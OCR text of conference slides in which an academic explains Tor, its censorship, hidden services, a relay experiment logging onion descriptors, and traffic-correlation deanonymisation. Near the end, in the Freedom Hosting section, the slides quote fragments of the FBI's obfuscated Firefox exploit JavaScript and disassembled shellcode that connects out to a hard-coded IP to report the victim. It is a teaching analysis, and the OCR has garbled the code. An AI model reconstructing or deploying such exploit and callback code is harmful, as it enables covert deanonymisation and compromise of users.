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Who am I?

An academic
— My first Bsides!

Course leader for the Forensic Computer BSc

Teach everything from forensics, cryptography
through to malware analysis.
Research interests:

— Reverse engineering

— Memory forensics



Overview

How Tor works
Attempts to block Tor
How hidden services work

— Deanonymising visitors and servers
FBI Exploit
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Tor Stinks....

* We will never be able to de-anonymize all Tor
users all the time.

* With manual analysis we can de-anonymize a
very small fraction of Tor users, however, no
success de-anonymizing a user in response to a
TOPI request/on demand.
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The problems

CENSORSHIP
PRIVACY ANONYIMITY
USER 1 Twitter
USER 2 Proxy/VPN/etc Wikileaks N
USER 3 Wikipedia




Tor

Open source project

Sponsored by a range of orgs including
US Govt!

Decentralised low latency mix network
No single authority
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How Tor works

Data

GUARD RELAY EXIT



The Tor Ecosystem

tor core program SOCKS

— One program does all Tor port

Tor Browser bundle Dir port for program
Vidalia Control port
Torify/torsocks

Arm

Orbot

Exonerator



How FVEYs deanonymises users

Cookies e.g. doubleclick
— Seeding!

Dumb users (aka opsec)
Exploitation

Traffic confirmation/correlation
— Aka fundamental weaknesses which we’ll focus on

— Unclear whether they’ve had much success due to
age of Snowden docs.

— Academia has had success



Building circuits through Tor

e Every Tor node that relays traffic publishes a
descriptor to the “authorities”

e 10 Directory Authorities who maintain list of
routers
— Public key for authorities embedded in client.
— Authorities test tor relays and sign their descriptors

— Authorities vote on relay properties and publish the
“consensus”

* Guard: 1731, Exit: 821, BadExit: 7



Obvious attacks

 To deanonymise a user with certainty you need to
control all three hops

— Run lots of tor nodes and hope your target(s) choose your
three hops as a circuit.

 To deanonymise a user with high probability you need
to control just the guard and exit.
— “Traffic correlation attack”
— Works regardless of circuit length

— Can be used by a powerful adversary who can observe a
large number tor nodes (but doesn’t run them).

* The probability of a relay being chosen for a circuit is
proportional to its available bandwidth.



Defending against such attacks

 Make it highly unlikely an attacker
can control the guard or exit.
— A Tor client chooses three guard

nodes on boot and sticks with them
for a long period (months).

— Provided your guard choice is right,
all your traffic is safe.

— Alternative: choose a random guard
regularly: even a weak adversary has
a high probability of deanonymising
some of your traffic.

e High latency
e Padding




Tor Censorship

Tor can be used to bypass censorship.

Problem: list of relays is available from the
authorities for anyone. Easily blockable.

Enter: bridges

China

2012 2013 2014



How China blocks Tor

* Great Firewall of China (GFC)

* Examined SSL/TLS cipher-suite to spot — then
tried to talk Tor
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Tor Hidden Services

THr Hidden Services: 6

L_.;: Tor cloud

A Tor circuit

m BN [ntroduction points
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Distributed Hash Tables

Hash space:

e.g. 000000->FFFFFF




Distributed Hash Tables

e zgktlwidfecvobri.onion

Hash space:

e.g. 000000->FFFFFF




Distributed Hash Tables

e zgktlwidfecvobri.onion

AN

Hash space:
e.g. 000000->FFFFFF



Distributed Hash Tables

e zgktlwidfecvobri.onion

Hash space:
e.g. 000000->FFFFFF




Distributed Hash Tables

e zgktlwidfecvobri.onion

Hash space:
M/ e.g. 000000->FFFFFF

Desc ID




Our experiment

Run 40 Tor nodes over several months

— Thanks to a generous student who donated huge
server capacity. Each node must advertise >=50kb/sec
BW.

After 25 hrs, each is a node on the DHT.

Record:
— Published hidden service descriptors
— Requests for hidden service descriptors

Crawl root HTML pages and record page titles
and other misc stuff (html only, no images).



Hidden Service popularity

Top onions

Cnion count: 51166

1 [F/ukkitdcaZtsy 1441409 3 sefnit
2 pomyeasfnmtnSddp 555563 6 sefnit
3 Jscohxyn3rrxtknue 414179 4 sefnit
4  bttlpoelktch3gudt3 3o60eh 4 sefnit
5 J42yhnr3Zntzhx3f 291309 2 skynet
6 Ifvipibvxyhpeouy 253810 4 sefnit
7 dnjzp3wzibleo/ /2 253280 1 slynet
8 b&m/mdbsdbzsflego 249027 3 skynet
9 f2vlgvZjochpzmdc 243514 4 skynet
10 xvauhzlpkirnzghg 241428 3 skynet
11 niazgxzlrbpevavyg 240667 3 skynet
12 bBtlkpktox/3usmbvg 239963 2 skynet
13 uzwitfdi37rhgfy 239584 2 skynet
14 hZ2etxdkmvmpdfalv 235643 4 slkynet
15 |ggth/gagyod22sc 221901 5 sefnit
16 5Sqgi2lzdbgtlkrSpnr 207765 3 sefnit2 btcminer




Hidden Service popularity

Top onions

1. Botnet C&C

Cnion count: 51166

1 [77ukkitdcaztsy 1441409 3 sefn!t servers
2 pomyeasfnmtnSddp 555563 6 sefnit
3 Jscbxyn3rrxtknut 414179 4 sefnit — 1
4  bttlpoelktch3gudt3 3o60eh 4 sefnit SEfn It an d S kyn et
5 J42yhnr3Zntzhx3f 291309 2 skynet .
6 Ifvipibvxyhpeouy 253810 4 sefnit 1 . A b u Se S Ites
7 dnjzp3wzibleo/ /2 253280 1 slynet .
8 6m7mdbsdbzsflego 249027 3 skynet 2. Silk road
9 f2vlgvZjochpzmdc 243514 4 skynet . L
10 xvauhzlpkirzahg — 241428 3 skynet 3. Hidden wiki
11 niazgxzlrbpevavyg 240667 3 skynet
12 bBtlkpktox/3usmbvg 239963 2 skynet
13 uzwitfdj37rhagfy 239584 2 skynet 4 * FO rums
14 hZ2etxdkmvmpdfalv 235643 4 slkynet 5 S h .
15 lggth/gagyodZ2Zsc 221901 5 sefnit . earc engl nes
16 5Sqgi2lzdbgtlkrSpnr 207765 3 sefnit2 btcminer
6. Drugs, porn, etc



Deanonymising Hidden Service users

e Traffic confirmation attacks are MUCH more
powerful.

Tor network

Hidden
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Deanonymising Hidden Service users

e Traffic confirmation attacks are MUCH more
powerful.
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Figure 3: Clients of a popular hidden service



Deanonymising Hidden Services
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Hidden
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Deanonymising Hidden Services




Deanonymising Hidden Services
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Silk Road

Silk Road hosted on Freedom Hosting servers
— Huge drug eBay
— $1.2 billion revenue since creation, S80m profit!

Operated by a chap called “Dead Pirate Roberts”
aka Ross Ulbricht.

Arrested Oct 2013 in public library

Someone tried to blackmail
him and he tried to get

them assassinated (charming!).

Caught by his own foolishness



Tor FBI/NSA/GCHQ Attack

* Freedom hosting servers started serving up
some javascript

* Javascript performed a complex exploit
against firefox

* |s this legal?

function f({varls,view,varla)
{
var magnete = """,
var magneto = ("WufchB\uUBasE"+"\ UBAAA LEBAR"+"  UeSBY\Ud231 "+ uBbad  L3BE

var wvar2g magneto;

var wvarl? = "hwu2aca",;

var varls = "wu2asl",;

var varl9 = "\WuC481%udaaai\udaas" ;

var var2@ = "hWw2s582\u3eee"+5tring. fromCharCode( {varl3d »» 1&8) AxBaaarFFFF) ;
var var2l="'u258B4u3888"+5tring.fromCharCode({varl3 »>> 18) BxeaBaFFFF) ;
var var22 = "“ugsSs9";

var var23d ="wul3C9",;

var var2d = "hwuE3sa",

ar2d += "\usasDyusaca";



Tor FBI/NSA/GCHQ Attack

* Freedom hosting servers started serving up
some javascriot

* Javascrip

TS//SI//REL) Exploiting TOR ()
against fi e ®

* |s this leg = (TS//SI//REL) tbb-firefox is barebones

Flash is a no-no

function f({varls,view,varl

{ NoScript addon pre-installed...

...but not enabled by default!
var var29 = magnet - - : 3
var varl? = "\uge TOR explicitly advises against using any addons or

var magnete = """,

var vanis - e extensions other than TorButton and NoScript
e et = (TS//SI//REL) Need a native Firefox exploit
var vard2? = "“UESE

var var23d ="‘ul3Cc
var var2d = "“uEEf
var2d += "LugasDhhu




The shellcode

* Used Stephen Fewer’s APl resolver

P 0205944547

1::

¥}

http://ghowen.me/fbi-tor



The shellcode

* Used Stephen Fewer’s APl resolver

______ 41 Sh pop ebp

00000092 B1BDESDOZ200004745 cmp dword [ebp+0xZ2ef],0x205494547

AB0A0BAF1 loc F1: ; CODE XREF: seqfAfB:aaae0818C)j
(STERELELE] I | push 18h » length

BBOBAaAF3 lea esi, (sockfAddr - LocateProc)[ebp] ; sockaddr struct -- FBI IP here
foaBoaro push esi » sockaddr struct

(STTERERENEI o] push ebx ; socket

feeABAFE | push ; ws?2 32.dl1%*connect

gogao1a0 call ebp

Baaaa1 a2 test eax, eax

ABBeBe1 84 jz short connected

HEBBe1 86 dec ssi{connectTryCounter - LocateProc)[ebp]
AB08A616C jnz short loc F1 ;: retry to connect up to 5 times

http://ghowen.me/fbi-tor



The shellcode

* Used Stephen Fewer’s APl resolver

|||||||||||||

FAEFLELELFLE Bor s ; r LR S P PN

fB0B0AF1 loc F1:

" ; CODE XREF: seqf@d:0@88p010C])j

(STERELELE] I | push 18h » length
BBOBAaAF3 lea esi, (sockfAddr - LocateProc)[ebp] ; sockaddr struct -- FBI IP here
foaBoaro push esi » sockaddr struct
SLLL LI R push ebx : socket
88i5p8002E8 sockAddr db 2
gg:HHHHHEEB _ ; sa_family
g 990802ED sockaddr_in db (5 ; 51n_family
g 9880882ER db 8 : port
oo/ 00BBB2ER db 5@h ; P s port=88
A8880ZEC db &1h ; A ; i1p addr = 65.222.282 .54
888882ED db BDEh ; I
H88882EE db BCAh ; -
H08882EF db 36h ; 6

http://ghowen.me/fbi-tor



The shellcode

* Used Stephen Fewer’s APl resolver

_____ 41 Sh pop ebp

00000092 ESQ0200004745 cmp dword [ebp+0x2e8],0x20544547

fB0B0AF1 loc F1:

" ; CODE XREF: seqf@d:0@88p010C])j

(STERELELE] I | push 18h » length

BBOBAaAF3 lea esi, (sockfAddr - LocateProc)[ebp] ; sockaddr struct -- FBI IP here
foaBoaro push esi » sockaddr struct

BB0BaeFA : ush ebx ] : socket

90 3peAA2ER soclg

0o, 000062E8 \FOOLEPLSErver:~% nc B

ag 900002E9 soc (e JSO05cead: 951d-4037-bf8f-f68055b279bb HTTPE/1.1

an 900B0O2EA Host: gho-desktop

gp AAAAAZER B
BABABZEC
AABAA2ED
AABAB2EE

HAB88ZEF

http://ghowen.me/fbi-tor



How to help

USE tor
Run a tor relay (or even an exit!)
Develop
Donate

Promote

DO research



Questions

Resources

chowen.me/git

*Modified tor client, scripts, crawler, etc

*chowen.me/fbi-tor
*FBI exploit shellcode and walkthrough



